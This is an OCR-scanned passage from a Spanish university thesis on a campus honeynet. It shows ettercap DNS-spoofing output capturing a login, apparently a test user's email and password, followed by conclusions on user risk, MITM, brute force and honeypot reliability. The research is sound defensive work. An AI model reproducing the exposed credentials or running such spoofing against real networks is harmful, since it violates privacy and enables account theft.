Figura 4.20. Resultado del spoofing de la pagina institucional

Elaborado por: Dennis Carcelén, Carlos Rios

En la consola de ettercap se muestra las credenciales obtenidas de la

resultado se muestra en la Figura 4.21.

Resultado de la captura de datos introducidos por la victima

ettercap 0.8.2 [-NoN -]
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List X Plugins %

Name Version Info
arp_cop 11 Report suspicious ARP activity
autoadd 12 Automatically add new victims in the target range

chk_poison 11 Check if the poisoning had success

Sends spoofed dns replies

dos_attack 1.0 Run a d.o.s. attack against an IP address

dummy 3.0 A plugin template (for developers)

find_conn 10 Search connections on a switched LAN

find_ettercap 2.0 Try to find ettercap activity

find in 10 Sasrrh an unucad IP addrace in the cuhnat
dns to [192.168.1.3]

Ups.edu.ec] spoofed to [192.168.1.3)
USER: criosm@est.ups.edu.ec PASS: 1714660691 INFO: http://www.ups.edu.ec/

:192.168.1

+SESI%NC3%93N

Figura 4.21. Captura de credenciales obtenidas por ettercap

Elaborado por: Dennis Carcelén, Carlos Rios
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CONCLUSIONES

La honeynet fue realizada desde el punto de vista de vector interno, con lo cual se
concluye que el desconocimiento y la falta de capacitacion del personal que hace uso de
la red, en el tema de seguridad y las potenciales amenazas existentes, hace que la parte
mas vulnerable en la seguridad informatica sean los propios usuarios, puesto que si
amenazas como el malware estan siempre latentes, es el usuario y sus malas précticas los
que aumentan el riesgo y la efectividad del software malicioso. La falta de preocupacion
y desconocimiento sobre como mantener la privacidad de la informacion, hace que el
vector interno de seguridad siempre represente una vulnerabilidad ante amenazas que no

dependen de las seguridades implementadas a nivel de red del campus sur.

Mientras que la red de la Universidad consta de una seguridad a profundidad, la cual es
aplicada por niveles y sirve para afrontar cualquier amenaza desde el exterior, el
conocimiento estructural tanto fisico del establecimiento como l6gico de la red por parte
de personal administrativo, docencia, estudiantado o en caso de filtracion de informacion
sensible hacia terceros, puede ser aprovechado ventajosamente para realizarse ataques de
intrusion o incluso ser victima de uno por desconocimiento, descuido o negligencia. Para
llevar a cabo estas técnicas se puede usar ingenieria social y ademas utilizar areas del
campus en los que no figure seguridad fisica permanente, principalmente en laboratorios
con equipo computacional (uso de BadUSB), los cuales no tienen un acceso restringido

de personal y que podrian representan cierto riesgo.

En primera instancia, la seguridad logica radica en establecer claves robustas para
restringir el acceso a personas no autorizadas a la red; al llevar a cabo un proceso
satisfactorio de crackeo por fuerza bruta se comprueba que para el honeypot, siendo este
un sistema que figura como una supuesta parte sensible de red (servidores), la clave
establecida no es la adecuada. Con esto se puede concluir que el uso no responsable de

contrasefias facilita un proceso de crackeo y que, en determinados casos, el tiempo a
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invertir para acceder en &reas restringidas puede ser mayor que el beneficio de obtener
informacion confidencial; no obstante, no ocurre asi con los usuarios dentro de la red, ya
que facilmente se pueden realizar ataques de phishing o MITM (man in the middle)
haciendo que la informacion que el usuario maneja llegue de forma mas rapida y sencilla

al atacante.

El honeypot KIPPO de media interaccion no es muy fiable puesto que de realizarse una
intrusion exitosa, se puede detectar que es un script y no un sistema operativo, debido a
la devolucion por parte del honeypot de respuestas erroneas e inesperadas a los
comandos proporcionados en el Shell, por lo que los honeypots de alta interaccion
satisfacen las necesidades y los propoésitos de investigacion planteados.

Se constaté que el IDS Snort incorporado en la herramienta Honeywall al realizarse el
despliegue de la honeynet de modo virtualizado, capta que el anfitrion por si solo levanta
una cantidad promedio de 80 falsos positivos por cada hora al interactuar con la maquina
virtual del honeypot, y que en la prueba realizada, funciona segun lo esperado frente a
los ataques realizados, mostrando los 1000 paquetes ICMP enviados en el barrido de
puertos y un unico paquete ICMP enviado mediante el nmap ejecutado a cada puerto de

servicio especifico.
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RECOMENDACIONES

Dada la gran cantidad de usuarios inalambricos que existen en la UPS y a la gran
cantidad de personas con conocimientos en diferentes departamentos de ciencia y
tecnologia, es pertinente implementar este tipo de sistemas de seguridad en diferentes
areas fisicas del Campus con el propoésito de establecer y personalizar las seguridades
por cada una de las areas dependiendo del perfil del usuario. Esta medida se puede llevar
a cabo con el uso del Wireless lan controller para difundir la red trampa en el campus y
mediante HoneySpots (Honeypot-HotSpot) aumentar la escalabilidad de auditoria hacia
pentesting en dispositivos moviles (como el Smartphone Pentest Framework, o su
predecesor Dagah Mobile Penetration Testing Software, por ejemplo).

Se recomienda llevar la implementacion a equipos fisicos en su totalidad para la puesta
en funcionamiento de la red, ya que el proyecto tiene un disefio con caracteristicas de
prototipo, es decir que replica un escenario lo mas semejante a un area de trabajo y
produccion con la utilizacién del minimo nimero de hardware de computacion y redes,
para no incurrir en costos de los mismos, y fue necesario el uso de tecnologia de
virtualizacion, de lo cual la mayor desventaja encontrada fue la disminucion del
rendimiento del equipo anfitrion y ciertos fallos ocasionales en los adaptadores de red,

dejando asi ordenadores sin conectividad y por ende la red inoperativa.

Utilizar herramientas que permitan ambientes graficos en Linux proporciona ciertas
facilidades para los wusuarios preferencialmente familiarizados con Windows,
permitiendo asi, para este caso especifico, una mejor administracion de puertos de red.
Resulta conveniente utilizar la distribucion CentOS 7, la cual viene con cambios
significativos de interfaz e incorpora FirewallD que adicionalmente con la herramienta
Webmin es sencillo administrar que puertos permaneceran activos después de un

reinicio del sistema seguin convenga para las pruebas posteriores.
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